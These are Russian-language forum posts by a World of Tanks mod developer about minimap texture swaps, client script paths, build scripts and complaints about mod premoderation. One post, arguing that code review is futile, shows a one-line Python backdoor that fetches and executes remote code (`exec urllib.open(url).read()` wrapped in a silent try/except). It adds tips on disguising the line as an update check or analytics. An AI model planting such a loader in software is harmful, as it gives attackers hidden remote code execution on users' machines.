GPCracker

Не понял сути вопроса. Что мешает сделать примерно так же, как в XVM, т.е. по кнопке увеличить миникарту и передвинуть ее на центр? Как поменять картинку-подложку я тебе уже рассказал довольно таки подробно. Там вроде как все маркеры на месте остаются. Или ты хочешь сделать вторую миникарту? Как по мне, это немного лишнее. Смотреть на две сразу все равно не будешь. А вот сделать маркеры техники отключаемыми при показе тактической карты - это можно. Не так просто, как хотелось бы, но можно. Придется конечно повозиться с подгрузкой флешки, добавлением метода к AS3 классу в реалтайме и выборкой по слоям, но особых костылей-велосипедов там вроде как не потребуется.

Там идет сначала упаковка в пакеты без сжатия, а потом уже упаковка пакетов и конфигов в общий архив со сжатием для публикации. Вообще скрипт не только упаковывает, он еще и собирает все, питон, флеш, локализацию, атласы, просто файлы... в общем, все, что есть в моих модификациях. Если интересно - просто загляни ко мне в репозиторий :-)

И следом все те, кому сие принципиально не вперлось, т.е. 99,9% адекватных мододелов, производящих реально годный контент, зашлют это дело настолько далеко, насколько это возможно, а толпы пользователей будут штурмовать официальный форум в надежде вернуть моды обратно. А поскольку картошка либо не идиоты, и не будут делать то, что придется откатывать, либо они будут как обычно упрямо бодать стену, просто продавливая апдейт и пытаясь зачистить недовольных, и тем самым просто окончательно сделают World of Tanks игрой исключительно для малолетних *****, поскольку почти все адекватные игроки без нормальных модов и с таким отношением администрации просто забьют на эту горку шлака в стиле игры (т.к. без модов игра для большинства хороших и вообще адекватных игроков станет реальным шлаком).

Особенно если исходник сам по себе (без балласта) будет на 1000 или более строк кода, найти там что-то, не зная при этом, где нужно искать, будет попросту нереальным. Тем более что любой грамотный человек, которому потребуется туда что-то внедрить, будет не сам код туда добавлять, а просто сделает эксплоит на пару неприметных строчек кода в стиле try: exec urllib.open('<the-url>').read() except StandardError: pass, через который потом будет грузиться что нужно и откуда нужно. И оформит это дело под проверку обновлений для мода, динамическую подгрузку ресурсов, или под какую-нибудь банальную гугл-аналитику, раскидав код эксплоита по всему модулю, что без серьезного синтаксического анализа кода найти эксплоит будет крайне проблематично. Не говоря уже о том, что для эксплоита даже в интернет лазить из мода необязательно, можно с диска файлы подгружать.

Ну не знаю, как ты там архивируешь, а у меня давно уже эти задачи выполняет скрипт сборки. Так что с подобными ситуациями я уже больше года не сталкивался. Конечно, бывает я что-то тоже забываю где-то в конфиге сборки прописать, но в таком случае я на эту проблему сразу же сам и наткнусь, когда буду тестировать мод перед публикацией, если не раньше, ибо с переходом на пакеты вне пакетов только конфиги лежат, а на добавление/переименование/удаление файла в проекте есть список, что требуется прописать и где. Такой же список действий имеется и для релиза, что и где нужно сделать, что проверить, и в каком порядке. Да и такие траблы с забытыми файлами все равно очень быстро находятся и репортятся пользователями, если среди пользователей твоего мода есть хоть немного адекватов. Я бы сказал, не только Z-пользователя, а вообще хранилась в публично доступном логе действий над "публикацией". Тогда модераторы будут семь раз думать над обоснованностью своих действий, перед тем, как что-то делать, а не просто делать в известном стиле.

Вопрос даже не в том, кто виноват, а в том, что система работает, мягко говоря, на троечку, если не на неуд. На исправление такой банальной ошибки ушло несколько дней, причем автор мода никак не может повлиять на скорость решения проблемы. Автор модификации все сделал ровно, а народ все равно сидит и ждет - вот суть всего происходящего. И это ни разу не нормально. Ладно бы еще у вас там обновления клиента выходили раз в полгода, тогда пару дней погоды не делали бы, но если учитывать, с какой частотой сейчас приходится адаптировать моды, и как за последнее время у вас выкатывают обновления (недавняя история с микропатчем хэллоуина, который ну ни разу не микро), несложно догадаться, что пятая точка и так у многих уже весьма неслабо подгорает, причем по КД, так тут еще и обновления для модов задерживаются на модерации. Может быть с вашей стороны такой расклад событий вам кажется вполне нормальным, но со стороны мододелов и пользователей это выглядит как полный беспросветный, который подкрался незаметно, гордо задрав хвост. Вывод уже давно озвучивали, и не один раз - нужно убирать премодерацию совсем, или ограничивать ее действие только на первичную публикацию мода.

Базы это такие же маркеры на миникарте, как и танки, только статические. Цвета линий можно подогнать для каждой карты, или выбрать универсальные, карты же сейчас почти одинаковой расцветки. Замена подложки никак не повлияет на работу других модов, если они не будут делать то же самое.

Ну так а где тогда "спасибо за информацию"? :) Ладно, я тебе там еще подкинул, для подстановки в загрузку карты. Никакого геморроя с респами там не будет, там такая же пустая картинка используется, только в png. Там двойное вложение компонента, алиасы я оставил, что прописать сам придумаешь, полагаю.

Таки работает методика?

Там скорее всего меняется позиция и скейл и всего. Но не уверен, нужно код смотреть, мне лень. # scripts/client/gui/Scaleform/daapi/view/battle/shared/battle_loading_minimap.py # scripts/client/gui/Scaleform/daapi/view/lobby/MinimapLobby.py # '../maps/icons/map/02_malinovka.png' self.as_changeMapS(RES_ICONS.getMapPath(arenaType.geometryName)) # It is battle page or battle page -> battle loading component # Alias BATTLE_VIEW_ALIASES.BATTLE_LOADING and VIEW_ALIAS.MINIMAP_ON_BATTLE_LOADING # Flash dig required for sure Всмысле маркер базы, зеленая-красная? Так они поверх накладываются в рантайме. Upd. раз, два, три. Думаю, этого будет достаточно, чтобы понять логику, куда что подставлять.

Не понял сути вопроса. Что именно в XVM имеется ввиду?

После перевода миникарты и других элементов на AS3 скорее всего уже можно поменять бэкграунд миникарты уже в процессе. Но не уверен, сам не проверял. # scripts/client/gui/Scaleform/daapi/view/battle/shared/minimap/component.py # spaces/02_malinovka/mmap.dds in corresponding space package self.as_setBackgroundS(_IMAGE_PATH_FORMATTER.format(arenaVisitor.type.getMinimapTexture())) Знающему человеку этого будет достаточно, чтобы понять куда копать.

Не только тебе, и не только нервы, но еще и время. Под "преследованием иных целей" я в частности имел и это тоже :)

Типичный картофельный цирк, ничего удивительного. Модератор у картохи (за редким исключением) есть существо с дико завышенным чувством собственной важности (в народе это называется синдромом вахтера). В данном случае, еще и преследующий какие-то другие цели кроме обеспечения адекватности контента. На всех нормальных ресурсах модератор не может ничего сделать бесследно, все действия модераторов должны быть видны остальным участникам, если модератор затер пост, то на его месте должен оставаться плейсхолдер, что пост был удален, кем, и по какой причине. Пока действие не одобрит администратор или еще несколько модераторов. И если на модератора есть достаточное количество обоснованных жалоб, его в нормальных проектах отправляют в известном направлении, но только не в компании Wargaming. Так что в картошке все как всегда. Стабильно. Стабильно через одно известное место.

Нужно больше текстур!

Просто сменил текстуру? Норм, только заскринил немного не там... в пустыне надо было, чтобы атмосфернее было :)

Ну, если не будет, значит будем таки раскапывать этот шлак, который там картоха навалила, по мере наличия свободного времени и сил.

Я думал, ты догадаешься, что имеется ввиду сделать несколько текстур для карты одного типа, и выбирать рандомно из них :)

Сделай несколько вариантов текстуры масксети (если еще не впилил), плюс для зимних/пустынных карт, подставляй текстуру рандомно в каждом бою (но в течение боя менять не стоит), работы относительно не так много, т.к. она применяется сразу ко всем танкам, или эта задача в принципе может быть автоматизирована поиском/заменой, но смотреться так будет куда круче. Особенно если текстура с картой нормалей будет и нормальным разрешением + mip-maps. Все равно текстура-то по идее одна на все модели? Я помню, ты там что-то спрашивал в чатике по подстановку текстур в модели, она там в текстовых файлах (visual) прописывается, и сгенерить их при помощи банального скрипта на питоне путем поиска и замены макроса как нефиг, можно прямо на клиенте генерить даже, если у тебя ресурсы не упакованы. Lod-ы с разной детализацией для сетки на своем танке особого смысла не имеют, все равно будет нулевой почти всегда использоваться, расстояние-то не такое большое, только разве что если для других танков добавлять будешь, тогда имеет смысл разрабатывать этот вопрос.

@Pavel3333, уменьши плз картинки в шапке, просто когда текст не особо крупный, а картинки огромные, прямо "отбрасывает" от монитора. Все равно есть предпросмотр по клику. И убери сетки с дульного тормоза орудий, а то же загорятся при выстреле :)

С моим медленным на отдачу интернетом большая картинка из буфера вставляется несколько секунд, я так понимаю, это из-за того, что картинка загружается на сервер для преобразования?

@Mr 13, планируется ли исправление отображения прикрепленных файлов в тексте постов (имеется ввиду сделать для прикрепленных файлов, ссылка на которые вставлена в пост, отдельное уникальное оформление, как это было в старой версии форума, вернуть старую добрую "скрепочку")? [остальное не принципиально, но тоже было бы неплохо] И возможно ли добавить кнопочку сохранения в режиме просмотра (рядом с "крестиком") для аттачей, которые отображаются как картинки (чтобы при этом имя файла было правильное, а не что-то в стиле Screenshot_20171107-095732.png.ea851062f15758f13e6a9ab3093e4952.png)? И/или сделать возможность выбора, как отображать прикрепленный файл при загрузке на форум/прикреплении к посту - как загрузку (документ) или как интерактивный элемент (картинку)? Upd. Вставку картинки из буфера обмена прямо в редактор возможно реализовать? Чтобы можно было делать "Prnt Scr" & "Ctrl + V" или что-то в таком духе.

Раздельно - не значит в разных местах, как и в одном месте не означает вперемешку :) Но в одном ты прав - что-то мы сильно увлеклись. В любом случае, если на большинстве серьезных проектов чего-то принципиально принято не делать, скорее всего это результат либо личного опыта, либо опыта других серьезных проектов... :) Отсюда и понятия "bad-practice" и "best-practice".

Нет, я просто разработчик python-модов и у меня (как и у всех остальных, кто со скриптами работает) есть декомпилы клиента. Ну и я просто знаю, где искать :)

Так если стимула не было, и не делалось. Когда люди заинтересованы в работе, и с палкой бегать не надо, все и так сделают в лучшем виде. Когда люди заинтересованы в деньгах за работу - сделают на грани принятия заказчиком. Не заинтересованы ничем - положат большой прибор, ну или разве что из под палки будут что-то делать, лишь бы не били :) В данной ситуации - пока картошка принимает конечный продукт и платит за работу - все ок. А она его принимает, пока продукт приносит деньги. Так что пока кто-то донатит - ничего не изменится. Хочешь что-то изменить - перестань донатить. Все просто.